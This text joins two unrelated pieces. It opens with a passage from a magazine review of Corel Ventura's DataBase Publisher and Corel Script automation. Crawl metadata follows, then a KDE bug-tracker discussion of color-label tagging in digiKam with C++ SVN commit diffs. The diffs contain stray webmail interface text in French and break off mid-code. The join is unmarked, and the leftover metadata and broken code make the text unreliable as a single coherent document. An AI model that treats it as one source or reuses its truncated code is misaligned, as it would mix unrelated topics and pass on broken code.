paragraphs. Fortunately Ventura comes with a dedicated utility, Corel DataBase Publisher, which is designed for just this sort of task. Unfortunately Ventura's system of embedding formatting information as tags into the text file doesn't extend to embedding image information so to bring in the graphics I'd have to do some real programming with Corel Script. Oh well. Here was my chance to try and master the most advanced database and scripting features in Ventura. It would be a good test for both of us. I hadn't used DataBase Publisher for real work before, but it's very easy to get to grips with thanks to its simple step-by-step metaphor. The central application is actually a small dialog consisting of just nine options - select a database, set publishing options, select records, sort records, select fields, apply field attributes, apply global attributes, set output options and then process - which walk you through the publishing procedure from start to finish. All the settings that you make are then stored as a RCP recipe file which you can run in future to republish your changed data automatically. In fact not all the nine steps are obligatory so, as all I was wanting to do was to apply tags to the fields, the process was very straightforward. DataBase Publisher supports delimited text files and allows you to treat the first row of the text file as field titles. It then lets you choose to pre-tag all fields and to automatically set the tag name as the field name. After choosing to output all records and all fields it's then just a question of specifying a text file name and hitting the Process command. The resulting file can then be loaded into WordPad for checking. First impressions looked good as the tagging process had worked beautifully with each field appearing as a separate paragraph and neatly tagged with Ventura's "@tagname =" system. Closer inspection though was less encouraging with some punctuation replaced by other characters and the main body copy cut to a limit of 255 characters. Much more worrying was the fact that when I tried to load the file into Ventura all I got was an "invalid file format" error. To make matters worse, although Ventura claims to support the PICT format, when I tried to import any of the graphics the program crashed. Being unable to load either text or graphics isn't a great start and I was tempted to return to Plan A, but pride's a funny thing. Converting the graphics to a readable JPEG format wasn't a problem using the excellent Mijenix PowerDesk and it would just require some extra coding to sort out the resulting broken links. As for the text file, I decided that starting from a text-delimited file was a bit much to ask and so used Access to convert the file into a more advanced database format in this case choosing Corel's own Paradox DB format. This meant that DataBase Publisher recognised the body copy as a memo field and so no longer truncated it on export, but the resulting file still wouldn't load into Ventura. I opened it in Word to explore why and on saving was prompted to specify a character coding. Presumably this had been the problem - a hangover from the file's Mac origins - as the saved version now loaded into Ventura without difficulty. Now that the text and graphics could be opened it was time to automate the process of bringing them together. Again I began by using Corel Script's recording capabilities but this time there was no way of avoiding getting involved with the code. After recording and saving a simple start-off script I opened this into the dedicated Corel Script Editor program that is shared across all Corel's main applications. Compared to PM Script's sub-Notepad editor this is in a different league with features like colour-coding, debugging tools and a syntax checker. It's not quite up to VBA standard with no Object Browser to show all of an object's available properties and no automatic listing of possible parameters, but while less productive for professionals this means that the environment is much less intimidating for occasional users. The Ventura version of Corel Script is clearly based on Basic and is command-driven with options, such as .FileNew and .EditCut, largely mimicking Ventura's own. Again this is less powerful than a true object-based system but it is easier to get to grips with and with reasonably detailed online help, it's pretty simple to get up and running. One of the immediate benefits of editing over recording is that it's much easier to handle repeated routines. By copying the recorded code for formatting a title tag, for example, it's easy to change a few parameters and create the code for formatting a subheading. A similar process soon sorted the find and replace routines necessary to convert the missing punctuation back into apostrophes and so on. So far so good. The real test of CorelScript though would be to see how it handled the automatic import of the relevant images as this moves on from basic macro-style repetition to real programmatic intelligence. The first challenge is to be able to get information back out of Ventura to be able to pick up the image filenames. Without a true object-orientated property-based approach this is less straightforward and powerful than it would be in a VBA application, but Ventura compensates with its wide range of functions. Using these functions it is possible to get feedback on such parameters as the current page, font, tag and so on. Most relevantly, using the .SelectedText () function, it's possible to retrieve text from the publication. As DataBase Publisher had paragraph-tagged each referenced image it's possible to do a tag-based find to pick up each filename and to store it as a named variable. Using CorelScript's string handling routines it's then a simple job to add the necessary directory name prefix and to drop the ".pict" suffix and replace it with ".jpg". Our variable now points to the right file and it's a simple matter to create a frame and import the desired file into it. By setting up a Do.Loop structure our script finds each example of the "Picture_Path" tag, reads the text, processes it to produce a JPEG filename, adds a frame, imports the right file into it, and then moves on to do the same to each of the referenced images. Suddenly with functions, string handling, variables and control structures our script has come alive and does something truly useful. But that's only the beginning. We can also exploit some of Ventura's advanced features to create a genuinely impressive application. By recording a Table of Contents routine we can generate a text file that contains a list of all "Title" tags complete with the page number they appear on. Even better, we can make use of the .PublishAsHTML command. This works slightly bizarrely in that it's not possible to set parameters apart from the output filename, but instead it picks up Ventura's current settings. As discussed in the recent article on re-purposing (RW55), Ventura's HTML capabilities are strong and include CSS support and the ability to automatically generate a navigation frame based on index entries or table of contents markers. The end result is that our script does everything we could have hoped for, taking the pre-tagged text file, formatting it complete with graphics into an attractive paper publication and then re-purposing it as an easily navigable web site. OK it's not exactly going to put the PC Pro designers out of a job but for a technical publication it could be a seriously useful cross-media solution. Even better Corel Script offers a .FileExit command and allows its CSC script files to be compiled as standalone EXE files. In fact by setting the .SetVisible command to False it is possible to run the EXE and produce the printed and web output without ever even seeing that Ventura is involved! This is very serious power and it encouraged me to go back to take another look at DataBase Publisher to see just what more it could offer as a springboard for scripting. Again I was impressed. The database management is advanced with the ability to specify joins to up to 64 secondary tables from your main table along with the ability to set up your own calculated fields. The ability to structure data using heading level fields that are only published when they change is also advanced and allows the creation of directory-style publications, for example listing employee details region by region. It's the control available under the Field Attributes command though that really surprised me. This is primarily used for setting tag names for fields, but it also offers three further tabs. The first of these, Tables, offers customised control over Ventura's top-of-the-range table formatting. The second, If Missing/Repeating, allows customised handling of null or repeat entries. However it's the third, Dictionaries, that offers the most power. Each customisable dictionary is simply a list of terms and their replacements. Whenever a dictionary is applied to a field, Ventura simply substitutes each occurrence with its replacement when the data is processed. Dictionaries can be used to customise sorting or tagging but their primary use is to replace text, for example, restoring shorthand abbreviations. In our case the obvious use would be to restore those characters that had been wrongfully converted. The Field Attributes page has another even more impressive trick up its sleeve with its ability to change between field types. In most cases this capability will be used to convert between text, numeric, logical and date fields, but it's also possible to specify that a field refers to a file. You can then specify a directory and if necessary an extension and also set up a frame for the file to be imported into. You can even set a frame tag to control the formatting and positioning of the frame or override this with custom settings. Such information can't be stored in the output text file so when it comes to processing, DataBase Publisher instead starts up an "automation server" which effectively works as our script did to automate the import procedure. The main difference is that it also anchors frames so that if the layout is redesigned the images can be automatically restored to their rightful place. What's more, by using a field dictionary and converting from ".pict" to ".jpeg", even the necessary string processing in our script can be handled internally from within DataBase Publisher without the need for Corel Script at all. In fact DataBase Publisher can not only dispense with Corel Script it can also do without Ventura! By setting your publishing options to HTML you can set up your database for output directly to web pages without going through Ventura at all. When it comes to formatting fields you are presented with a dedicated HTML keypad from where you can choose all the standard HTML tags and embed the most common formatting codes. Alternatively you can choose to output your data in HTML table format or even choose one of three Java-powered interactive views of your data, InstantView, InstantChart or InstantAnalyzer. You can even choose to direct output between <CORELWEBDATA> tags to quickly update existing pages with new data. Clearly by thinking of DataBase Publisher as a simple tagging utility I was grossly underestimating the power of a program that is more than able to stand alone in its own right. As such, while I'm more than happy that the script I laboured to produce is a useful benchmark, it's actually not an example of a real world task at all. Anyone doing the same job would be much better off using DataBase Publisher to achieve the same goals and they wouldn't have to touch Corel Script at all and they might even be able to bypass Ventura. Having said this, of course DataBase Publisher doesn't make Ventura or Corel Script redundant. Instead the programs are best seen as an integrated team. For some web jobs loading a DataBase Publisher recipe and hitting Process would be all that was needed. For other print-orientated tasks, or for web output where Ventura's HTML frames and CSS support is an advantage, DataBase Publisher and Ventura would work in tandem. For the most advanced jobs, for example where you wanted to automatically apply captions to images or to rotate frames depending on whether they were on left or right hand pages, then Corel Script's programmability would come into its own. The one thing that is certain is that after its shaky start, the Corel Ventura suite came through the test with flying colours. Design automation for both print and web is going to be major battleground between the professional DTP applications and for the moment the Corel Ventura/DataBase Publisher/ Script combination leaves the other contenders standing. June.
http://designer-info.com/DTP/database_publishing.htm
CC-MAIN-2018-05
refinedweb
2,667
57.2
Ive got this text file Im trying to read from. Its located in my resources folder in microsoft visual studio. Im trying to access that text file so I can parse the text from that file to an integer and store it in my integer array called Armor[,] .The contents of the text file is a 12x11 chart of numbers which I would like to parse to an integer and store into the 2D Armor[,] array. Here are the contents of the text file: When I run the program I get an error saying: Value cannot be null. Parameter name: path The error that microsoft visual studio's throwing is because of the line: StreamReader armorStream = new StreamReader(Resources.Armor); //namespace used do directly access Resource.FileName using TurfBattles.Properties; public void LoadArmor() { //Create a variable for storing the armor defense values int[,] Armor = new int[12, 11]; //Create a string variable for storing the stream readers input string myString = new string(); int Row = 0; //Create a stream reader for reading the Armor.txt file StreamReader armorStream = new StreamReader(Resources.Armor); //While the stream reader is able to read the next line //do this: while ((myString = armorStream.ReadLine()) != null) { //Loop through each value of the myStringSplit array for (int Column = 0; Column < 11; Column++) { //This splits the text up and stores it into an array of strings //It also stores the white spaces into a character array string[] myStringSplit = myString.Split((char[])null, StringSplitOptions.RemoveEmptyEntries); //Store the current value of myStringSplit into the Armor Array Armor[Row, Column] = int.Parse(myStringSplit[Column]); } Console.WriteLine(); Row++; } armorStream.Close(); Console.ReadKey(); } Edited by demongunsman, 13 February 2013 - 05:45 AM.
http://www.gamedev.net/topic/638718-accessing-a-text-file-from-resource-folder-in-ms-visual-studio/?forceDownload=1&_k=880ea6a14ea49e853634fbdc5015a024
CC-MAIN-2016-36
refinedweb
278
54.12
Summary Compares two files and returns the comparison results.. Usage This tool returns messages showing the comparison result. By default, it will stop executing after encountering the first miscompare. To report all differences, check on the Continue Comparison parameter. File Compare can report differences between two ASCII files or two binary files This tool supports masking out of characters, words, and lines of text in an ASCII file. For example, files may be identical except they may contain text representing date and time of creation. Thus, the files would miscompare. In addition, small variations occur in the way that each platform stores or manipulates numbers. This leads to differences in numeric precision among platforms. The SunOS platform may report a value of 415.999999999, while the Windows XP platform reports 416.000000000. To handle false character comparisons, File Compare provides several masking capabilities. Before comparing new text files with existing base files, edit the base files to include these special masking symbols. - "#"—The simplest masking symbol is the "#" symbol. Wherever a # appears in the input base file, the corresponding character in the input test file will be ignored. Base: Y delta = 9048.6# Test: Y delta = 9048.61 - "??"—Another masking tool is the "??" symbol combination. To mask out an entire "word", add "??" at the beginning of it. Base: Processing ??ESRI1/ARCIGDS/TESTRUN/CONV/ARCIGDS/CPXSHAPE.DGN Test: Processing ESRI2/ARCIGDS/TESTRUN/CONV/ARCIGDS/CPXSHAPE2.DGN - "?!"—A single token may have a '.' (period) imbedded in it. An obvious example of this would be the name of a file with an extension—streetnames.dbf. There could be instances where you would want part of the name, either before or after the '.', to be ignored in the comparison of the token. Base: Master table is: streetnames?!.dbf Test: Master table is: streetnames - "???"—This allows you to mask the entire line following it. Base: ??? 8 4 1 0 14 10 Test: 12 8 2 1 16 12 ASCII is the default file type. If entering binary files, change the file type to Binary (BINARY in Python). When ASCII files miscompare, it will report differences, such as the total number of characters are different and report the differences for each line. When binary files miscompare, it will report that the file sizes are different and report the differences for each byte. The Output Compare File will contain all similarities and differences between the Input Base File and the Input Test File. This file is a comma-delimited text file which can be viewed and used as a table in ArcGIS. When using this tool in Python, you can get the status of this tool using result.getOutput(1). The value will be 'true' when no differences are found and 'false' when differences are detected. Learn more about using tools in Python Syntax FileCompare_management (in_base_file, in_test_file, {file_type}, {continue_compare}, {out_compare_file}) Derived Output Code sample The following Python window script demonstrates how to use the FileCompare function in immediate mode. import arcpy arcpy.FileCompare_management( r'C:/Workspace/well_xycoordinates.txt', r'C:/Workspace/new_well_coordinates.txt', 'ASCII', 'CONTINUE_COMPARE', r'C:/Workspace/well_file_compare.txt') Example of how to use the FileCompare tool in a stand-alone script. # Name: FileCompare.py # Description: Compare two text files and return comparison result. # import system modules import arcpy # Set local variables base_file= "C:/Workspace/well_xycoordinates.txt" test_file= "C:/Workspace/new_well_coordinates.txt" file_type = "ASCII" continue_compare = "CONTINUE_COMPARE" compare_file = "C:/Workspace/well_file_compare.txt" # Process: FeatureCompare compare_result = arcpy.FileCompare_management(base_file, test_features, file_type, continue_compare, compare_file) print(compare_result) print(arcpy.GetMessages()) Environments Licensing information - Basic: Yes - Standard: Yes - Advanced: Yes
https://pro.arcgis.com/en/pro-app/tool-reference/data-management/file-compare.htm
CC-MAIN-2019-18
refinedweb
589
51.65
Version: (using KDE KDE 3.5.7) Installed from: Mandrake RPMs OS: Linux Some possible additions to make Digikam more useful to photographers who workflow lots of pictures: 1: Color coding images: allow user to color code images so that he/she can organize images according to workflow. So, for example, an image colored as Blue might mean "edit in GIMP", whereas an image colored Green might mean "send to Web", etc. The color coding does not describe the colors in the image but rather is the color of some indicator (icon, bar, etc.) next to the image that lets the user quickly see what needs to be done to an image and how. 2: Flag: allow user to flag an image in one of three states: Keeper, reject or no flag (default). This provides an easy mechanism to quick find the "keepers" from a shoot of TONS of images. 3: Transparent histogram over image in light table: provide a way for user to view histogram for all images on light table so he/she can pick the best image. Also, make 1 & 2 above in light table as well. > 1: Color coding images: allow user to color code images so that he/she > 2: Flag: allow user to flag an image in one of three states: Keeper, > 3: Transparent histogram over image in light table: provide a way for 1. and 2. are just temporary tags. You can use just normal rating system for that type of tagging. Sure, nice icons could be nice touch but it is hardly necessary to do real work. I am using this non-stop. With additional shortcuts ` for no-rating and 1 for one star and 2 for two stars. 0 would be logical for no-rating but in this way I can make rating with one hand and navigate with second hand on mouse. This is very handy especially with recently introduced quick filtering by rating in status bar. Although I am partial to color coding, more visible (and recognizable) than icons. FotoStation colors images according to Urgency metadata tag. You can view histogram in Light Table by expanding panels, they are still there. It is not really useful on 5:4 (or 4:3) screens but should work OK on panoramic. digiKam parted with transparent histograms some time ago because... Hmm, I don't want to make up things but I think there were always problems with drawing them on canvas. Mik, >digiKam parted with transparent histograms some time ago because... Hmm, >I don't want to make up things but I think there were always problems >with drawing them on canvas. Not only, because it been redundant with the Histogram sidebar tab... Gilles > Not only, because it been redundant with the Histogram sidebar tab... Of course. Ad meritum: I think in this scope bug is INVALID. Introducing additional two ways of tagging when it is possible to make quick tagging with existing tools... I am repeating: IMO this wish is WONTFIX category. First two things you can make with quick and temporary rating, third existed but was replaced. Without protests in next 24h I will close this entry. Sorry, I forgot to add my 2cents on this: 1.) additional color code is used, I think, by photoshop (bridge?). So it might be not that bad. (I remember that I liked it the first time I heard the concept...) 2.) About flagging images: I think that here tags are good enough, together with a keyboard short-cuts, see bug 114465 3.) > Not only, because it been redundant with the Histogram sidebar tab... Well, this takes a lot of space. So the idea of transparant histograms is not that bad (it might be difficult to implement, but maybe with KDE4 things are simpler?) So I would suggest to actually file to separate wishes for 1.) and 3.), and let users vote for them. (Having several wishes in one bug complicates the discussion a bit ...;-) Mik, Point1/ is similar than "Label" feature in LightRoom or Imatch. You tag images with a dediced color box. This is not rating, but can be remplaced with special Tags in digiKam Note than XMP as a dedicaced Tag for that named... Label. I think we can implement it with KDE4 port where DB schema is changed. Marcel, Arnd, etc... your viewpoints ? Gilles Mik, Point3/ is redondant with Sidebar color tab content. This point is INVALID for me. Gilles Mik, Point2/ is very similar than Rating. This point is INVALID for me. Still point1/ where something can be done to have a similar env. than pro soft. I'm waiting comments from team... Gilles Gilles, ad #6, i.e. point 1/: "label" feature, sounds like a good concept to me. Created attachment 22158 [details] Icon view from Adobe Bridge using Color Label Tagging Marcel, Look this Adode Bridge screenshot provided by Stephano Rivoir about Color Label Tagging feature. It's simple to use. What do you think about ? Gilles Well, it's ok, I dont object. We can use tags to implement it, then it is also simple to implement. The icon view can display a color of a certain tag is assigned. Plus some UI for assigning colors. And some special handling for displaying the tag in some tag views. > 10:16 ------- Created an attachment (id=22158) > --> () > Icon view from Adobe Bridge using Color Label Tagging That's very similar to FotoStation. In FS photo plates have small menu embedded with choice of colors. There is also additional filtering option for that. Note however that FS, and probably Bridge, don't have digiKam rating system. This is just another type of implementation. According to Scott Kelby's "the photoshop CS2 book for digitial photographers" the bridge has both ratings and color labels. See for a more detailed discussion. Yes. You are right. Bridge has colors AND stars. It creates 25 levels of rating or two separate categories of rating. Interesting visual solution. Lengthened oval below photo with stars on it Photo _______ / \ | ***** | \_______/ Text,date *** Bug 139465 has been marked as a duplicate of this bug. *** Marcel, i'm back with Color Label Tags. This feature is another candidate for icon-view item overlay. It's eady to implement this part. In second, of course, database schema need to be increased (or it's already implemented ?) In 3rd, we need to be able to change Colors Label Tags on item using : - pop-up context menu (Andi you viewpoint here) - right side bar Caption & Tags tab Question : Which Colors to use ? I propose 3 : - Green : item is good in my workflow. - Yellow (or Orange ?) : item is medium. I'm not yet sure if i will use it. - Red : item is a good candidate to be delete. Your viewpoints ? Gilles Caulier 3 is bit low for fine grain of workflow. FotoStation uses 10 (and calls it priority): None, White (Low), Purple (High), Red, Orange, Yellow, Green (Normal), LightBlue, Blue, Black. Adobe Bridge uses 5: Red (Select), Yellow (Second), Green (Approved), Blue (Review), Violet (To-Do) (probably over-engineering but interesting thing - you can define different sets of colors). Adobe uses Ctrl-6..9 for color labels. IMatch follows Adobe standard. Ah, according to this page (IMatch Wiki): Colors are named: Red, Yellow, Green, Cyan, Purple. Names of labels and colors are customizable. IMatch uses Ctrl-1..5 for rating, and Ctrl-Shift-1..5 for labels Thanks Mik for this very important resume. I vote to follow Adobe Bridge way, but i'm not sure if to provide configuration of colors set really mandatory I'm waiting Marcel and Andi viewpoint now, to continue... Gilles In attachment are screens with explanations how FotoStation does this. From available screenshots/descriptions looks like Adobe Bridge interface is better but I don't have access to it :) One thing which isn't clear from screenshot: in FS name/date area isn't clickable (click does nothing) only plate above has some actions. Created attachment 34187 [details] How FS does color labels. Marcel, Look last screenshot from Mik. this feature rock really for pro-photograph. I like this. Gilles I am now preparing screenshot from IMatch so wait a minute ;) This program is a bit more like Adobe Bridge. One thing I like FS is handling of star rating: additional red cross to remove rating is easier to use + animation for moving stars when hovering is slower than in digiKam - just looks better. Created attachment 34191 [details] How IMatch does labels/rating Lightroom color labels: IMHO solution proposed in #14 : background color of rating is the nicest. Julien Another link with various overlay icons in Lightroom. Personally I like LR solution the least - small, barely visible rectangle on the right of stars: In this short PDF you have screenshots from Adobe Bridge: Quality isn't good but you see: Page 1: stars alone Page 2: label alone Page 4: label + dots appearing when image is selected, ready to become stars Note: label bar is quite high in pixels, here looks small because thumbnails are huge. @18 - Gilles - while configuration for various sets of names/colors is overkill possibility to change "names" of colors would be good (and this particular feature have all described programs). *** Bug 202193 has been marked as a duplicate of this bug. *** The plan to add Color LAbel support to digikam is listed below : 1/ Add field in database for each items. 2/ Add a wrapper in database interface to patch ImageInfo 3/ Add an overlay to iconview to display and change color label with mouse 4/ Patch Captions and Tags sidebar to provide a way to display and change color label. 5/ Patch item tooltips to show color label. 6/ Patch DMetadata to save/load color label into/from XMP. 7/ Collection scanner must be able to parse XMP metadata using DMetadata and record Color label properties in database. 8/ Patch Setup everywhere when it's necessary : Collection view, tooltips, Metadata. Gilles Caulier Marcel, Can we patch digiKam 2.0 DB to support Color Label Tags for album items ? What's the best way : create a new table named "ImageColorLabels" as "ImageTags" table ? This is how Adobe Aperture manage Color Label Tags : ...look how many colors label are available : Gilles Caulier I suggest to use the normal tags table, but handle these tags in a special way in a few situations. A new table would result in huge code duplication. Have a look at the TagProperties class in libs/database. You can assign any property to a tag, such as marking it as a Person tag, or a Color tag. (this also applies to the keyboard shortcuts #114465 and comments #149372). There can be one value or multiple values per keyword. Have a look at libs/database/databaseconstants.h for defined TagProperties. In the specific case here, we'd need to patch the delegate that it does not draw the textual label for a color tag, but the relevant color, and add the UI to add a label. suggest to use the normal tags table, but handle these tags in a special way >in a few situations. A new table would result in huge code duplication. ok. Fine for me. >Have a look at the TagProperties class in libs/database. You can assign any >property to a tag, such as marking it as a Person tag, or a Color tag. >(this also applies to the keyboard shortcuts #114465 and comments #149372). Excelent ! This is exactly what's i need. Note : i plan also to create a new dialog to edit tags hierarchy and properties, something like Firefox bookmark edit dialog. >There can be one value or multiple values per keyword. Have a look at >libs/database/databaseconstants.h for defined TagProperties. ok >In the specific case here, we'd need to patch the delegate that it does not >draw the textual label for a color tag, but the relevant color, and add the UI >to add a label. Ok. and me, i plan to patch Captions & Tags view from right sidebar bar to support Color tags. vote to show color tags as rating edit tool, as an horizontal widget in this sidebar tab. There are also other views to patch : - All contextual menu. - Tags filter view on right side. - Tags view on left side. For this one, perhaps it's better to add a new view dedicated to show all items by rating (there is en entry in bugzilla about, it's a missing feature) or by color tags. I don't know yet. Gilles Marcel, I take a look about how Adobe Aperture handle Color Labels in icon view. Look my screenshoot : Look like color label are use as color background of filename. I propose to do the same with icon item color background, or to set just a small icon on a corner with the right color. Note that i cannot see any change about color label information in image metadata. Very strange... Color available are not customizable. All have shortcut assigned : None : CMD+Á Red : CMD+& Orange : CMD+È Yellow : CMD+" Green : CMD+' Blue : CMD+( Violet : CMD+$ Gray : CMD+E For me these shortcut are completely stupid and unsuitable. This is my proposal : None : ALT+0 Red : ALT+1 Orange : ALT+2 Yellow : ALT+3 Green : ALT+4 Blue : ALT+5 Violet : ALT+6 Gray : ALT+7 This do not in conflict with rating shortcuts which are : CTRL+0/1/2/3/4/5 What do you think about ? Gilles Caulier I have no strong opinion about the shortcuts, sounds fine for me, and is symmetric to rating. (what about giving order to colors? Traffic light? None - Green - Yellow - Orange - Red - Blue - Violet - Gray?) Painting in the icon view can easily be customized in ItemViewImageDelegate (implementing a drawColorLabel() method) and ImageDelegate (for calling the drawColorLabel() method) Justr for info : Adobe LightRoom use this tag : From this post it talk about "xap" XMP schema, which is renamed now "xmp", as it's explained into Exiftool database : In Exiv2 we have also this tag referenced : "Label Label Text XmpText External A word or short phrase that identifies a document as a member of a user-defined collection. Used to organize documents in a file browser." So, we have a standard place to store this information in file metadata. I will try LightRoom to see which way are used to manage Color Label in GUI. Note : It's fun to see that Adobe application are not able to share this information from image metatada : ... because string in this XMP tag is internationalized... Sometime i think that Adobe developers are completely stupid... (:=))) Gilles Caulier Marcel, About color, Adobe Aperture use rainbows 7 colors defined by Isac Newton : None : ALT+0 Red : ALT+1 Orange : ALT+2 Yellow : ALT+3 Green : ALT+4 Blue : ALT+5 Violet : ALT+6 Gray : ALT+7 But without Indigo and plus Gray. I can understand why Indigo is not there : because it's difficult to differentiate with violet. For me, it miss 2 colors here : Black and White So i propose to use the same schema that Aperture but extended to support whole numerical keys as shortcuts : None : ALT+0 Red : ALT+1 Orange : ALT+2 Yellow : ALT+3 Green : ALT+4 Blue : ALT+5 Violet : ALT+6 Gray : ALT+7 Black : ALT+8 White : ALT+9 My question now, it to deal these tag in database. If we want to see these tags immediately somewhere in GUI (tag filter, tags tree view, etc...), they must be hard-coded somewhere to patch DB file. Right ? Or you see a better way in mind ? Gilles Caulier Yes, something like this must be done. If you want the tags to be hidden and only visible through specific GUI, define the names in InternalTagName, and use getOrCreateInternalTag(). These calls must then be done at application startup. If you want the tags to be publicly visible, the first approach would be to add the common Color parent tag and the color tag's names to databaseconstants.h, for example in a class ColorTagName, and call TagsCache's getOrCreateTags where you need them. There is a problem now: The tag names must be i18n'ed if they are visible. If the system language changes, suddenly they cannot be found anymore. So there is a better approach for this case: Create the tag with a property. The property is the color, in English, and never changes. The user can rename the tag, it is still identified. To find the tags: TagsCache::instance()->tagsWithProperty(TagPropertyName::colorTag()); // gets all color tags. Can also request a specific value. To create tags: TagsCache::instance()->getOrCreateTagWithProperty(colorTagsParentPath + i18n("Red"), TagPropertyName::colorTag(), TagPropertyValue::redColor()); Marcel, For me the tags name must be cached from the gui. The only view of this must be colored widget/background. Gilles Caulier Marcel, Look how Adobe LightRoom handle Color Label. for me it's completly dumy and uncomplete : Look on thumbbar, the very small border in Red around icon item. Look which color are available in context menu, without a visual color as well. Look on the right sidebar, on metadata panel, the text field associed to Color Label. Just over look Rating information which is displayed with star widget, not by text. We can do better, i'm sure... Note : I hate LR interface, but there are few great filters options available. But usability is really destroyed by this very bloated interface. All in the same Window... Gilles Caulier > For me the tags name must be cached from the gui. The only view of this must > be colored widget/background. All right, then only add the tag names to InternalTagName, and use TagsCache::instance()->getOrCreateInternalTag() ensure the tags are present. It's the easiest solution. The tags will not be visible in any tags tree or tooltip, but programmatically, you can assign etc. just like any other tag. > Look on thumbbar, the very small border in Red around icon item. > Look which color are available in context menu, without a visual color as > well. > We can do better, i'm sure... Yes I'm sure ;-) A simple color widget in a QWidgetAction for the menu, drawing the color with the delegate clearly visible, as well in the side bar. Not too difficult. Marcel, Look how M$ Expression Studio handle Color Label : see on icon view how is displayed color label on the same horizontal line than rating widget. Look also which keyboard shortcuts are used for color label. Look also the color order... Gilles Caulier Marcel, The first widget to select color label is done : This bar will no be displayed as well in Caption & Tags Sidebar. I plan to use a lead button with a pop-up menu attached which will display this tool bar. Look like i use colors from Adobe Aperture, which are less aggressive than pure red/green/blue, etc... Gilles Caulier Marcel, New version of color label selector widget in Caption & Tags. I hope that you like it (:=))) Gilles Caulier SVN commit 1218115 by cgilles: register internal color label tags name CCBUGS: 152424 M +54 -0 databaseconstants.cpp M +25 -0 databaseconstants.h WebSVN link: SVN commit 1218118 by cgilles: Color Label wrapper in tag action manager. Action are created and managed from this class. Color Label Tags are created in Database from this class. Action event are ot yet dispatched at the right place in GUI. CCBUGS: 152424 M +105 -6 tagsactionmngr.cpp M +4 -0 tagsactionmngr.h WebSVN link: Created attachment 56697 [details] First implementation to manage Color Label in Database Marcel, This patch is a first try to manage color label in database. In GUI, for the moment, only Captions & Tags view is patched. Implementation to review indeep are : - metadatahub : CL are managed has Rating. I think all is fine here. - imageinfo : in this class, the way to read and record color label exclusive value are not so far optimal. - dmetadata : Color label are for the moment saved in XMP digiKam namespace as a color ID. Values are declared now in globals.h. There is no option yet in metadata settings panel to turn on/off writing of this info in image. For the moment, to hack , it's turned on. TODO : - Add an option in metadata settings panel. - Apply Color Label to icon-view items, as color background (for ex.). - Add an option in context menu to change color label. - Add an option to filter icon-view. - Add an option in Advanced Search tool. - Patch DB to handle Color Label from metadata (ImageScanner) What's else ? Gilles Caulier SVN commit 1218197 by cgilles: 2 new methods to handle Color Label information from digiKam XMP namespace M +56 -2 dmetadata.cpp M +5 -2 dmetadata.h --- branches/extragear/graphics/digikam/core/libs/dmetadata/dmetadata.c @@ -358,6 +358,32 @@ return true; } +int DMetadata::getImageColorLabel() const +{ + if (getFilePath().isEmpty()) + { + return -1; + } + + if (hasXmp()) + { + QString value = getXmpTagString("Xmp.digiKam.ColorLabel", false); + + if (!value.isEmpty()) + { + bool ok = false; + long colorId = value.toLong(&ok); + + if (ok && colorId >= NoneLabel && colorId <= WhiteLabel) + { + return colorId; + } + } + } + + return -1; +} + int DMetadata::getImageRating() const { if (getFilePath().isEmpty()) @@ -500,6 +526,34 @@ return -1; } +bool DMetadata::setImageColorLabel(int colorId) const +{ + if (colorId < NoneLabel || colorId > WhiteLabel) + { + kDebug() << "Color Label value to write is out of range!"; + return false; + } + + kDebug() << getFilePath() << " ==> Color Label: " << colorId; + + if (!setProgramId()) + { + return false; + } + + // Set standard XMP rating tag. + + if (supportXmp()) + { + if (!setXmpTagString("Xmp.digiKam.ColorLabel", QString::number(colorId))) + { + return false; + } + } + + return true; +} + bool DMetadata::setImageRating(int rating) const { // NOTE : with digiKam 0.9.x, we have used IPTC Urgency to store Rating. --- branches/extragear/graphics/digikam/core/libs/dmetadata/dmetadata @@ -70,6 +70,9 @@ CaptionsMap getImageComments() const; bool setImageComments(const CaptionsMap& comments) const; + int getImageColorLabel() const; + bool setImageColorLabel(int colorId) const; + int getImageRating() const; bool setImageRating(int rating) const; Répondre Transférer Répondre | Gilles Caulier à kde-commits afficher les détails 08:39 (Il y a 2 minutes) SVN commit 1218198 by cgilles: new Color Label settings to handle action to do with image metadata M +4 -2 metadatasettingscontainer.cpp M +2 -1 metadatasettingscontainer.h --- branches/extragear/graphics/digikam/core/libs/dmetadata/metadatasettingscontainer.c @@ -27,7 +27,6 @@ #include <kconfiggroup.h> - // LibKExiv2 includes #include <libkexiv2/kexiv2.h> @@ -47,6 +46,7 @@ exifSetOrientation = true; saveComments = false; saveDateTime = false; + saveColorLabel = false; saveRating = false; saveTemplate = false; saveTags = false; @@ -66,6 +66,7 @@ saveComments = group.readEntry("Save EXIF Comments", false); saveDateTime = group.readEntry("Save Date Time", false); + saveColorLabel = group.readEntry("Save Color Label", false); saveRating = group.readEntry("Save Rating", false); writeRawFiles = group.readEntry("Write RAW Files", false); @@ -84,6 +85,7 @@ group.writeEntry("Save EXIF Comments", saveComments); group.writeEntry("Save Date Time", saveDateTime); + group.writeEntry("Save Color Label", saveColorLabel); group.writeEntry("Save Rating", saveRating); group.writeEntry("Write RAW Files", writeRawFiles); --- branches/extragear/graphics/digikam/core/libs/dmetadata/metadatasettingscontainer @@ -60,6 +60,7 @@ bool saveComments; bool saveDateTime; + bool saveColorLabel; bool saveRating; bool saveTemplate; SVN commit 1218199 by cgilles: new option to manage Color Label in metadata CCBUGS: 152424 M +11 -1 setupmetadata.cpp M +1 -1 setupmetadata.h WebSVN link: SVN commit 1218200 by cgilles: TagsCache now create and manage list of ColorLabel tags. Add a new method to get tagID associate to a Color Label ID. M +29 -1 tagscache.cpp M +16 -5 tagscache.h --- branches/extragear/graphics/digikam/core/libs/database/tagscache.c @@ -29,6 +30,7 @@ #include <QReadWriteLock> #include <QReadLocker> #include <QWriteLocker> +#include <QMap> // KDE includes @@ -77,6 +79,7 @@ bool needUpdateHash; bool needUpdateProperties; bool changingDB; + QReadWriteLock lock; QList<TagShortInfo> infos; QMultiHash<QString, int> nameHash; @@ -84,6 +87,7 @@ QList<TagProperty> tagProperties; QHash<QString, QList<int> > tagsWithProperty; QSet<int> internalTags; + QMap<ColorLabel, int> colorLabelsTags; // Map between color Id and tag label Id created in DB. void checkInfos() { @@ -246,9 +250,25 @@ this, SLOT(slotTagChanged(const TagChangeset&)), Qt::DirectConnection); + registerColorLabelTagsToDb(); + d->initialized = true; } +void TagsCache::registerColorLabelTagsToDb() +{ + d->colorLabelsTags.insert(NoneLabel, getOrCreateInternalTag(InternalTagName::colorLabelNone())); + d->colorLabelsTags.insert(RedLabel, getOrCreateInternalTag(InternalTagName::colorLabelRed())); + d->colorLabelsTags.insert(OrangeLabel, getOrCreateInternalTag(InternalTagName::colorLabelOrange())); + 